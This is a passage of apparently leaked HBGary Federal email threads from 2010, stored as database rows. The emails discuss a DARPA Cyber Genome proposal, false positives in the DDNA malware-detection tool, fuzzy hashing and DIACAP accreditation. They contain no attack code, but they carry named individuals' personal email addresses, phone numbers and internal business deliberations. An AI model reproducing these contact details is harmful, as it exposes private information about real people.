I&#8217;ll\r\nbet from a research perspective we are just scratching the surface today.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 01, 2010 8:26 AM\r\nTo: Bob Slapnik\r\nSubject: Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General\r\nDynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nBob,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDo we get a lot of false postiives with DDNA?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 8:11 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIs GD taking the lead in the proposal creation?&nbsp; Seems\r\nunusual for them to send out this doc when NG is the prime for #1.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Rodriguez, Harold\r\n[mailto:Harold.Rodriguez@gd-ais.com]&nbsp;\r\nSent:&nbsp;Monday, March 01,\r\n2010 7:47 AM\r\nTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.com\r\nCc:&nbsp;Upchurch, Jason R.;\r\nStarr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.\r\nSubject:&nbsp;RE: DARPA\'s\r\nCyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood Morning,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nis an updated document adding a column for metrics/measures of success.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHarold Rodriguez\r\nLead Systems Engineer\r\nGeneral Dynamics - Advanced Information Systems\r\nDC3\\DCCI: (410)\r\n694-6409\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGDAIS:\r\n(240) 456-5600 x8028\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Rodriguez, Harold\r\nSent:&nbsp;Sun 2/28/2010 11:46\r\nPM\r\nTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.com\r\nCc:&nbsp;Upchurch, Jason R.;\r\nStarr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.\r\nSubject:&nbsp;DARPA\'s\r\nCyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nRich, Bob, Greg,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber\r\nGenome technical&nbsp;proposal.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFor\r\nthis technical area, could you please look at the attached document and provide\r\nsome of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH\r\nideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one\r\n(1) or (2) technical papers in the area.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nthe attached document I tried to provide couple of examples, but feel free to\r\nadd the information you feel is appropriate.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards and thank you!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHarold\r\nRodriguez\r\nLead Systems Engineer\r\nGeneral Dynamics - Advanced Information Systems\r\nDC3\\DCCI: (410) 694-6409\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGDAIS:\r\n(240) 456-5600 x8028\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5734,'aaron_hbgary_com/5734.html'),(3224,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001501.M509006P3547Q3225.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS','Yep makes sense. &nbsp;Thats a tough one. &nbsp;Fuzzy hashing as one methodology to help sounds interesting. &nbsp;Changes in profiles would be another. &nbsp;If when executed you developed a software profile for execution, communication, etc. &nbsp;Changes to that profile maybe could also increase the heat value?Check out Jesse Kornblum tool:&nbsp;http://windowsir.blogspot.com/2006/07/genius-kornblum-on-fuzzy-hashing.htmlOn Mar 1, 2010, at 8:43 AM, Bob Slapnik wrote:Aaron,&nbsp;This is a bigger conversation with Greg, Phil and Rich, but here is my take on it.&nbsp; The short and current answer is “yes”.&nbsp; DDNA flags binaries as malware that look and act like malware.&nbsp; It turns out that some good software acts like malware so it scores high.&nbsp; Examples are host security products.&nbsp; We view that as DDNA giving accurate results, but in practice our customers get no value from every host in the enterprise reporting “red” (since every host has security and possibly other software that act like malware).&nbsp;HBGary is dealing with the false positive problem as we speak.&nbsp; A first pass solution was to give customers an easy way to filter good software from the reports, but this is just a bandaide short term answer.&nbsp; The reason the report filtering approach is faulty is because filtered software could actually have evil code injected into it.&nbsp; This is the fault with disk based hashing.&nbsp; Saying it is good on disk does not ensure secure in RAM during execution.&nbsp;The HBGary development team is currently approaching the false positives problem from a more fundamental level.&nbsp; The objective is that all software will have its DDNA score reported.&nbsp; Software such as security tools will have its score “cooled off” so it doesn’t show up as malware, but it will reporting as a cooler color.&nbsp; This leaves open the possibility that if bad code gets injected it could get heated back up as red or orange.&nbsp;There is also development work around “fuzzy hashing” in RAM.&nbsp; My info is sketchy at best and might be flat out incorrect…… I “think” customers will be able to take fuzzy hashes (whatever that means) of gold images – these results are stored.&nbsp; Then during deployment DDNA scores (or maybe something else) are compared to the gold images.&nbsp; If the variance is greater than some pre-specified amount, then the binary is flagged.&nbsp; There is a lot more to this than I know.&nbsp; And I’ll bet from a research perspective we are just scratching the surface today.&nbsp;Bob&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, March 01, 2010 8:26 AMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS&nbsp;Bob,&nbsp;Do we get a lot of false postiives with DDNA?&nbsp;&nbsp;On Mar 1, 2010, at 8:11 AM, Bob Slapnik wrote:Aaron,&nbsp;Is GD taking the lead in the proposal creation?&nbsp; Seems unusual for them to send out this doc when NG is the prime for #1.&nbsp;Bob&nbsp;&nbsp;From:&nbsp;Rodriguez, Harold [mailto:Harold.Rodriguez@gd-ais.com]&nbsp;Sent:&nbsp;Monday, March 01, 2010 7:47 AMTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.comCc:&nbsp;Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.Subject:&nbsp;RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS&nbsp;Good Morning,&nbsp;Here is an updated document adding a column for metrics/measures of success.&nbsp;Best regards,&nbsp;Harold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409GDAIS: (240) 456-5600 x8028&nbsp;From:&nbsp;Rodriguez, HaroldSent:&nbsp;Sun 2/28/2010 11:46 PMTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.comCc:&nbsp;Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.Subject:&nbsp;DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AISAaron, Rich, Bob, Greg,&nbsp;I am currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber Genome technical&nbsp;proposal.&nbsp;For this technical area, could you please look at the attached document and provide some of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH ideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one (1) or (2) technical papers in the area.&nbsp;In the attached document I tried to provide couple of examples, but feel free to add the information you feel is appropriate.&nbsp;Best regards and thank you!&nbsp;Harold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409GDAIS: (240) 456-5600 x8028&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10 14:34:00&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10 14:34:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9562,'aaron_hbgary_com/9562.html'),(3225,'2010-03-01','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001501.M65052P3547Q3224.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTherefore, am I to ignore Harold&#8217;s email for the time being?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 01, 2010 8:17 AM\r\nTo: Bob Slapnik\r\nSubject: Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General\r\nDynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nThere is some dispute on who is priming #1 now...we are\r\nstill working on it. :) &nbsp;In the end it is possible NG is not on the team,\r\nbut we are not there yet.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 1, 2010, at 8:11 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIs GD taking the lead in the proposal creation?&nbsp; Seems\r\nunusual for them to send out this doc when NG is the prime for #1.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Rodriguez, Harold\r\n[mailto:Harold.Rodriguez@gd-ais.com]&nbsp;\r\nSent:&nbsp;Monday, March 01,\r\n2010 7:47 AM\r\nTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.com\r\nCc:&nbsp;Upchurch, Jason R.;\r\nStarr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.\r\nSubject:&nbsp;RE: DARPA\'s\r\nCyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGood Morning,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nis an updated document adding a column for metrics/measures of success.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHarold Rodriguez\r\nLead Systems Engineer\r\nGeneral Dynamics - Advanced Information Systems\r\nDC3\\DCCI: (410)\r\n694-6409\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGDAIS:\r\n(240) 456-5600 x8028\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Rodriguez, Harold\r\nSent:&nbsp;Sun 2/28/2010 11:46\r\nPM\r\nTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.com\r\nCc:&nbsp;Upchurch, Jason R.;\r\nStarr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.\r\nSubject:&nbsp;DARPA\'s\r\nCyber-Genome Program - Technical Area 1 - General Dynamics - AIS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nRich, Bob, Greg,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nam currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber\r\nGenome technical&nbsp;proposal.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFor\r\nthis technical area, could you please look at the attached document and provide\r\nsome of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH\r\nideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one\r\n(1) or (2) technical papers in the area.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nthe attached document I tried to provide couple of examples, but feel free to\r\nadd the information you feel is appropriate.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest\r\nregards and thank you!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHarold\r\nRodriguez\r\nLead Systems Engineer\r\nGeneral Dynamics - Advanced Information Systems\r\nDC3\\DCCI: (410) 694-6409\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGDAIS:\r\n(240) 456-5600 x8028\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10\r\n14:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10137,'aaron_hbgary_com/10137.html'),(3226,'2010-03-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001501.M720293P3547Q3226.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS','no still needs to be done, whomever is priming...On Mar 1, 2010, at 8:45 AM, Bob Slapnik wrote:Therefore, am I to ignore Harold’s email for the time being?&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, March 01, 2010 8:17 AMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS&nbsp;There is some dispute on who is priming #1 now...we are still working on it. :) &nbsp;In the end it is possible NG is not on the team, but we are not there yet.&nbsp;Aaron&nbsp;On Mar 1, 2010, at 8:11 AM, Bob Slapnik wrote:Aaron,&nbsp;Is GD taking the lead in the proposal creation?&nbsp; Seems unusual for them to send out this doc when NG is the prime for #1.&nbsp;Bob&nbsp;&nbsp;From:&nbsp;Rodriguez, Harold [mailto:Harold.Rodriguez@gd-ais.com]&nbsp;Sent:&nbsp;Monday, March 01, 2010 7:47 AMTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.comCc:&nbsp;Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.Subject:&nbsp;RE: DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AIS&nbsp;Good Morning,&nbsp;Here is an updated document adding a column for metrics/measures of success.&nbsp;Best regards,&nbsp;Harold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409GDAIS: (240) 456-5600 x8028&nbsp;From:&nbsp;Rodriguez, HaroldSent:&nbsp;Sun 2/28/2010 11:46 PMTo:&nbsp;aaron@hbgary.com;&nbsp;rich@hbgary.com;&nbsp;bob@hbgary.com;&nbsp;greg@hbgary.comCc:&nbsp;Upchurch, Jason R.; Starr, Christopher H.; Harlow, Douglas M.; Vela, Ryan; Wilson, Ben N.Subject:&nbsp;DARPA\'s Cyber-Genome Program - Technical Area 1 - General Dynamics - AISAaron, Rich, Bob, Greg,&nbsp;I am currently supporting Jason Upchurch in Technical Area 1 for the DARPA Cyber Genome technical&nbsp;proposal.&nbsp;For this technical area, could you please look at the attached document and provide some of what you will consider are Win/Innovative/Revolutionary&nbsp;RESEARCH ideas.&nbsp;It will be greatly appreciated if you could&nbsp;also provide one (1) or (2) technical papers in the area.&nbsp;In the attached document I tried to provide couple of examples, but feel free to add the information you feel is appropriate.&nbsp;Best regards and thank you!&nbsp;Harold RodriguezLead Systems EngineerGeneral Dynamics - Advanced Information SystemsDC3\\DCCI: (410) 694-6409GDAIS: (240) 456-5600 x8028&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10 14:34:00&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2708 - Release Date: 02/28/10 14:34:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3979,'aaron_hbgary_com/3979.html'),(3227,'2010-03-01','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297001501.M953852P3547Q3227.eml','\"Lirette, Dave \\(TASC Inc\\)\" <David.P.Lirette@TASC.COM>,\"Lirette, Dave \\(TASC Inc\\)\" <David.P.Lirette@TASC.COM>','RE: Article/Interview with Dr. Brammer','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDave,\r\n\r\n&nbsp;\r\n\r\nVery helpful, thanks.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBest, Matt\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Lirette, Dave (TASC\r\nInc) [mailto:David.P.Lirette@TASC.COM] \r\nSent: Saturday, February 27, 2010 8:31 PM\r\nTo: Matt O\'Flynn\r\nCc: Aaron Barr\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMatt,\r\n\r\nHaving DISA as a &#8220;sponsor&#8221; would be a little weird,\r\nbut not unheard of. Usually your product (that needs accreditation) is being\r\npaid for by a &#8220;customer&#8221;. That customer will fall under the umbrella\r\nof a particular approving authority. (Air Force, Navy, NRO, NSA etc.)&nbsp;\r\nThat sponsor will require a specific set of testing and assurances according to\r\na guideline (DIACAP, DCID 6/3 or ICD 503)\r\n\r\n&nbsp;\r\n\r\nAny help?\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\n\r\nSent: Wednesday, February 24, 2010 12:11 PM\r\nTo: Lirette, Dave (TASC Inc)\r\nCc: Matt O\'Flynn\r\nSubject: Fwd: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDave,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me introduce Matt, you can get from the email thread\r\nwhat we are looking for to a degree. &nbsp;If you could provide some guidance\r\nto Matt that would be great.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThink we can get a ski day in march or has snow continued to\r\nsuck?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Matt\r\nO\'Flynn&quot; &lt;matt@hbgary.com&gt;\r\nDate: February 25, 2010 1:12:43 AM EST\r\nTo: &quot;\'Penny Leavy-Hoglund\'&quot; &lt;penny@hbgary.com&gt;, &quot;\'Aaron\r\nBarr\'&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe\r\nsponsor will hopefully be DISA, just spoke with our POC there and he needs some\r\nthings from us to run by his legal team. Aaron, I&#8217;ll give you a ring to\r\ndiscuss, much quicker than trying to type it out.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBest,\r\nMatt\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Wednesday, February 24, 2010 12:57 PM\r\nTo: \'Aaron Barr\'\r\nCc: matt@hbgary.com\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nYes, matt\r\nwho is sponsor?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 9:55 AM\r\nTo: Penny Leavy\r\nSubject: Fwd: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDo\r\nwe have a government sponsor?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:\r\n&quot;Winterfeld, Steven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nDate: February 24, 2010 12:52:18 PM EST\r\nTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: RE: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGenerally\r\nyou have a gov sponsor, develop the package, have DA sign off and share that\r\nwith other customers.&nbsp; &nbsp;There are other paths but I think that would\r\nbe the most efficient.&nbsp;&nbsp; Lirette has folks that can develop the\r\npackage. \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 24, 2010 10:48 AM\r\nTo: Winterfeld, Steven P (TASC Inc)\r\nSubject: Re: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nYuk.\r\n&nbsp;I need to get ddna diacap approved. &nbsp;How do I do that?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 24, 2010, at 10:20 AM, &quot;Winterfeld, Steven P (TASC Inc)&quot; &lt;steven.winterfeld@TASC.COM&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Beane, Patricia O\r\n(IS) \r\n\r\nSubject: Article/Interview with Dr. Brammer\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nInteresting\r\ninterview with Dr. Bob Brammer\r\n\r\n&nbsp;\r\n\r\nhttp://blog.executivebiz.com/dr-bob-brammer-of-tasc-a-cto-cant-let-his-organization-be-surprised/7358\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPatricia O. Beane\r\n\r\nManager,\r\nStrategic Programs \r\nTransformational\r\nResearch, Integration and \r\nDemonstration\r\n(TRIAD) Network \r\nNorthrop\r\nGrumman Information Systems \r\n100 Brickstone\r\nSquare \r\nAndover,\r\nMA&nbsp; 01810 \r\n978-749-2413\r\noffice \r\n508-265-0548\r\nmobile \r\npatricia.beane@ngc.com \r\nFor info\r\nvisit: 